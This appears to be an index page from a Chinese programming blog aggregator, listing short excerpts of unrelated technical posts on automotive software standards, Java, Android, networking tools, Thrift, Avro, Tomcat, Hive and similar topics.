前言APQP,ASPICE,敏捷，功能安全，预期安全，PMP，PRICE2汽车行业的有这样一堆标准。我是半路出家来到汽车行业做项目经理的，对几个标准的感觉是，看了文档和各种解析之后还是一头雾水，不知道到底说了个啥，别人问我还是一脸懵逼。APQP（TS16949的最重要工具），ASPICE（软件）这些是质量标准，是优化整个公司体系的，但这套体系对项目管理有要求；敏捷，PMP这些是项目管理的标准；项目
探索ASPICE V3.1：汽车行业软件开发的中文指南阮懿同
探索ASPICEV3.1：汽车行业软件开发的中文指南ASPICE_V3.1中文版.pdf.zip项目地址:https://gitcode.com/open-source-toolkit/422a2在汽车软件工程领域，高质量的标准对于确保行车安全和提升用户体验至关重要。今天，我们为您介绍一个珍贵的开源宝藏——ASPICEV3.1中文版资源。这是一篇专为国内汽车行业开发者、质量管理者准备的深度解读，旨
辗转相处求最大公约数沐刃青蛟 C++漏洞
无言面对”江东父老“了，接触编程一年了，今天发现还不会辗转相除法求最大公约数。惭愧惭愧！为此，总结一下以方便日后忘了好查找。 1.输入要比较的两个数a,b 忽略：2.比较大小（因为后面要的是大的数对小的数做%操作） 3.辗转相除（用循环不停的取余，如a%b,直至b=0） 4.最后的a为两数的最大公约数 &
F5负载均衡会话保持技术及原理技术白皮书 bijian1013 F5 负载均衡
一.什么是会话保持？在大多数电子商务的应用系统或者需要进行用户身份认证的在线系统中，一个客户与服务器经常经过好几次的交互过程才能完成一笔交易或者是一个请求的完成。由于这几次交互过程是密切相关的，服务器在进行这些交互过程的某一个交互步骤时，往往需要了解上一次交互过程的处理结果，或者上几步的交互过程结果，服务器进行下
Object.equals方法：重载还是覆盖 Cwind java generics override overload
本文译自StackOverflow上对此问题的讨论。原问题链接在阅读Joshua Bloch的《Effective Java（第二版）》第8条“覆盖equals时请遵守通用约定”时对如下论述有疑问： “不要将equals声明中的Object对象替换为其他的类型。程序员编写出下面这样的equals方法并不鲜见，这会使程序员花上数个小时都搞不清它为什么不能正常工作：” pu
初始线程 15700786134
暑假学习的第一课是讲线程，任务是是界面上的一条线运动起来。既然是在界面上，那必定得先有一个界面，所以第一步就是，自己的类继承JAVA中的JFrame，在新建的类中写一个界面，代码如下： public class ShapeFr
Linux的tcpdump 被触发 tcpdump
用简单的话来定义tcpdump，就是：dump the traffic on a network，根据使用者的定义对网络上的数据包进行截获的包分析工具。 tcpdump可以将网络中传送的数据包的“头”完全截获下来提供分析。它支持针对网络层、协议、主机、网络或端口的过滤，并提供and、or、not等逻辑语句来帮助你去掉无用的信息。实用命令实例默认启动 tcpdump 普通情况下，直
安卓程序listview优化后还是卡顿肆无忌惮_ ListView
最近用eclipse开发一个安卓app，listview使用baseadapter，里面有一个ImageView和两个TextView。使用了Holder内部类进行优化了还是很卡顿。后来发现是图片资源的问题。把一张分辨率高的图片放在了drawable-mdpi文件夹下，当我在每个item中显示，他都要进行缩放，导致很卡顿。解决办法是把这个高分辨率图片放到drawable-xxhdpi下。 &nb
扩展easyUI tab控件，添加加载遮罩效果知了ing jquery
(function () { $.extend($.fn.tabs.methods, { //显示遮罩 loading: function (jq, msg) { return jq.each(function () { var panel = $(this).tabs(&
gradle上传jar到nexus 矮蛋蛋 gradle
原文地址： https://docs.gradle.org/current/userguide/maven_plugin.html configurations { deployerJars } dependencies { deployerJars "org.apache.maven.wagon
千万条数据外网导入数据库的解决方案。 alleni123 sql mysql
从某网上爬了数千万的数据，存在文本中。然后要导入mysql数据库。悲剧的是数据库和我存数据的服务器不在一个内网里面。。 ping了一下， 19ms的延迟。于是下面的代码是没用的。 ps = con.prepareStatement(sql); ps.setString(1, info.getYear())............; ps.exec
JAVA IO InputStreamReader和OutputStreamReader 百合不是茶 JAVA.io操作字符流
这是第三篇关于java.io的文章了，从开始对io的不了解-->熟悉--->模糊，是这几天来对文件操作中最大的感受，本来自己认为的熟悉了的，刚刚在回想起前面学的好像又不是很清晰了，模糊对我现在或许是最好的鼓励我会更加的去学加油！： JAVA的API提供了另外一种数据保存途径，使用字符流来保存的，字符流只能保存字符形式的流字节流和字符的难点：a,怎么将读到的数据
MO、MT解读 bijian1013 GSM
MO= Mobile originate，上行，即用户上发给SP的信息。MT= Mobile Terminate，下行，即SP端下发给用户的信息；上行:mo提交短信到短信中心下行:mt短信中心向特定的用户转发短信，你的短信是这样的，你所提交的短信，投递的地址是短信中心。短信中心收到你的短信后，存储转发，转发的时候就会根据你填写的接收方号码寻找路由，下发。在彩信领域是一样的道理。下行业务：由SP
五个JavaScript基础问题 bijian1013 JavaScript call apply this Hoisting
下面是五个关于前端相关的基础问题，但却很能体现JavaScript的基本功底。问题1：Scope作用范围考虑下面的代码： (function() { var a = b = 5; })(); console.log(b); 什么会被打印在控制台上？回答：上面的代码会打印 5。 &nbs
【Thrift二】Thrift Hello World bit1129 Hello world
本篇，不考虑细节问题和为什么，先照葫芦画瓢写一个Thrift版本的Hello World，了解Thrift RPC服务开发的基本流程 1. 在Intellij中创建一个Maven模块，加入对Thrift的依赖，同时还要加上slf4j依赖，如果不加slf4j依赖，在后面启动Thrift Server时会报错 <dependency>
【Avro一】Avro入门 bit1129 入门
本文的目的主要是总结下基于Avro Schema代码生成，然后进行序列化和反序列化开发的基本流程。需要指出的是，Avro并不要求一定得根据Schema文件生成代码，这对于动态类型语言很有用。 1. 添加Maven依赖 <?xml version="1.0" encoding="UTF-8"?> <proj
安装nginx+ngx_lua支持WAF防护功能 ronin47
需要的软件:LuaJIT-2.0.0.tar.gz nginx-1.4.4.tar.gz &nb
java-5.查找最小的K个元素-使用最大堆 bylijinnan java
import java.util.Arrays; import java.util.Random; public class MinKElement { /** * 5.最小的K个元素 * I would like to use MaxHeap. * using QuickSort is also OK */ public static void
TCP的TIME-WAIT bylijinnan socket
原文连接： http://vincent.bernat.im/en/blog/2014-tcp-time-wait-state-linux.html 以下为对原文的阅读笔记说明：主动关闭的一方称为local end，被动关闭的一方称为remote end 本地IP、本地端口、远端IP、远端端口这一“四元组”称为quadruplet，也称为socket 1、TIME_WA
jquery ajax 序列化表单 coder_xpf Jquery ajax 序列化
checkbox 如果不设定值，默认选中值为on；设定值之后，选中则为设定的值 <input type="checkbox" name="favor" id="favor" checked="checked"/> $("#favor&quo
Apache集群乱码和最高并发控制 cuisuqiang apache tomcat 并发集群乱码
都知道如果使用Http访问，那么在Connector中增加URIEncoding即可，其实使用AJP时也一样，增加useBodyEncodingForURI和URIEncoding即可。最大连接数也是一样的，增加maxThreads属性即可，如下，配置如下： <Connector maxThreads="300" port="8019" prot
websocket dalan_123 websocket
一、低延迟的客户端-服务器和服务器-客户端的连接很多时候所谓的http的请求、响应的模式，都是客户端加载一个网页，直到用户在进行下一次点击的时候，什么都不会发生。并且所有的http的通信都是客户端控制的，这时候就需要用户的互动或定期轮训的，以便从服务器端加载新的数据。通常采用的技术比如推送和comet（使用http长连接、无需安装浏览器安装插件的两种方式：基于ajax的长
菜鸟分析网络执法官 dcj3sjt126com 网络
最近在论坛上看到很多贴子在讨论网络执法官的问题。菜鸟我正好知道这回事情.人道"人之患好为人师" 手里忍不住,就写点东西吧. 我也很忙.又没有MM,又没有MONEY....晕倒有点跑题. OK,闲话少说,切如正题. 要了解网络执法官的原理. 就要先了解局域网的通信的原理. 前面我们看到了.在以太网上传输的都是具有以太网头的数据包.
Android相对布局属性全集 dcj3sjt126com android
RelativeLayout布局android:layout_marginTop="25dip" //顶部距离android:gravity="left" //空间布局位置android:layout_marginLeft="15dip //距离左边距 // 相对于给定ID控件android:layout_above 将该控件的底部置于给定ID的
Tomcat内存设置详解 eksliang jvm tomcat tomcat内存设置
Java内存溢出详解一、常见的Java内存溢出有以下三种： 1. java.lang.OutOfMemoryError: Java heap space ----JVM Heap（堆）溢出JVM在启动的时候会自动设置JVM Heap的值，其初始空间(即-Xms)是物理内存的1/64，最大空间(-Xmx)不可超过物理内存。可以利用JVM提
Java6 JVM参数选项 greatwqs java HotSpot jvm jvm参数 JVM Options
Java 6 JVM参数选项大全（中文版）作者：Ken Wu Email: [email protected] 转载本文档请注明原文链接 http://kenwublog.com/docs/java6-jvm-options-chinese-edition.htm！本文是基于最新的SUN官方文档Java SE 6 Hotspot VM Opt
weblogic创建JMC i5land weblogic jms
进入 weblogic控制太 1.创建持久化存储 --Services--Persistant Stores--new--Create FileStores--name随便起--target默认--Directory写入在本机建立的文件夹的路径--ok 2.创建JMS服务器 --Services--Messaging--JMS Servers--new--name随便起--Pers
基于 DHT 网络的磁力链接和BT种子的搜索引擎架构 justjavac DHT
上周开发了一个磁力链接和 BT 种子的搜索引擎 {Magnet & Torrent}，本文简单介绍一下主要的系统功能和用到的技术。系统包括几个独立的部分：使用 Python 的 Scrapy 框架开发的网络爬虫，用来爬取磁力链接和种子；使用 PHP CI 框架开发的简易网站；搜索引擎目前直接使用的 MySQL，将来可以考虑使
sql添加、删除表中的列 macroli sql
添加没有默认值：alter table Test add BazaarType char(1) 有默认值的添加列：alter table Test add BazaarType char(1) default(0) 删除没有默认值的列：alter table Test drop COLUMN BazaarType 删除有默认值的列：先删除约束（默认值）alter table Test DRO
PHP中二维数组的排序方法 abc123456789cba 排序二维数组 PHP
<?php/*** @package BugFree* @version $Id: FunctionsMain.inc.php,v 1.32 2005/09/24 11:38:37 wwccss Exp $*** Sort an two-dimension array by some level
hive优化之------控制hive任务中的map数和reduce数 superlxw1234 hive hive优化
一、控制hive任务中的map数: 1. 通常情况下，作业会通过input的目录产生一个或者多个map任务。主要的决定因素有： input的文件总个数，input的文件大小，集群设置的文件块大小(目前为128M, 可在hive中通过set dfs.block.size;命令查看到，该参数不能自定义修改)；2.
Spring Boot 1.2.4 发布 wiselyman spring boot
Spring Boot 1.2.4已于6.4日发布，repo.spring.io and Maven Central可以下载(推荐使用maven或者gradle构建下载)。这是一个维护版本，包含了一些修复small number of fixes,建议所有的用户升级。 Spring Boot 1.3的第一个里程碑版本将在几天后发布，包含许多